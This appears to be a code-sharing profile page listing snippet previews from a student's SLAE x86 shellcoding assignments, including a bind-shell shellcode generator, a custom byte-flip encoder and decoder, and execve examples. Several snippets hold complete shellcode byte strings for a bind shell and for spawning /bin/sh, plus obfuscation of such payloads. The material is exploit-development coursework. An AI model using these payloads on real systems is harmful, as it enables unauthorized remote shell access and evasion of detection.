michaelnewton

0x3951470a257Ca314ABb035babC3399E97173AB2a

michaelnewton

0x2b5B6c029D4129beE0F9B005cA8BF0cd795eE3d5

michaelnewton

; Filename: bind.nasm
; Student ID: SLAE - 895
; Purpose: Assignment #1 Bind Shell

global _start

section .text

_start:

michaelnewton

#!/usr/bin/env python

# Cut the shellcode apart at the point of the port declaration for assembly later.
shellcodefront = r"\x6a\x66\x58\x6a\x01\x5b\x31\xc9\x51\x53\x6a\x02\x89\xe1\xcd\x80\x92\x43\x56\x66\x68"
shellcodeback = r"\x66\x53\x89\xe1\x6a\x10\x51\x52\x89\xe1\xb0\x66\xcd\x80\x31\xc0\xb0\x66\xb3\x04\x57\x52\x89\xe1\xcd\x80\xb0\x66\x43\x57\x52\x89\xe1\xcd\x80\x31\xc9\xb1\x02\x93\x31\xc0\x6a\x3f\x58\xcd\x80\x49\x79\xf8\x57\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x31\xc9\x31\xd2\xb0\x0b\xcd\x80"

while True:
	
	print "+------------------------------------+"
	print "|           Bind Shellcode           |"

michaelnewton

// Assignment #4 Custom Byte Flip Decoder helper applicaiton
// Student ID: SLAE - 895
#include<stdio.h>
#include<string.h>

unsigned char code[] = \
"\xeb\x1d\x5e\x8d\x3e\x31\xc0\xb0\x02\x31\xdb\x8a"
"\x1c\x06\x80\xf3\x99\x74\x11\x8a\x1c\x06\x88\x1f"
"\x04\x02\x8d\x7f\x02\xeb\xec\xe8\xde\xff\xff\xff"
"\x99\xc0\x31\x68\x50\x2f\x2f\x68\x73\x2f\x68\x69"

michaelnewton

; Filename: assignment4-decoder.nasm
; Student ID: SLAE - 895
;
; Purpose: Assignment #4 Custom Byte Flip Decoder

global _start

section .text
_start:
        jmp short call_shellcode        ;Begins JMP-CALL-POP to get address of EncodedShellcode

michaelnewton

; Filename: assignment4-encoder.nasm
; Student ID: SLAE - 895
;
; Purpose: Assignment #4 Custom Byte Flip Encoder

extern printf
extern exit

global main

michaelnewton

#!/usr/bin/python
# Student ID: SLAE - 895
# Python Shellcode Encoder Helper - taken from SLAE Course material and modified

shellcode = ("\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80")
# Shellcode is from: http://shell-storm.org/shellcode/files/shellcode-827.php

encoded = ""
encoded2 = ""

michaelnewton

;Simple assembly execve call to execute /bin/ls -la 

global _start

section .text

_start:

        xor eax, eax            ;create null eax register
        push eax                ;push null eax register to the stack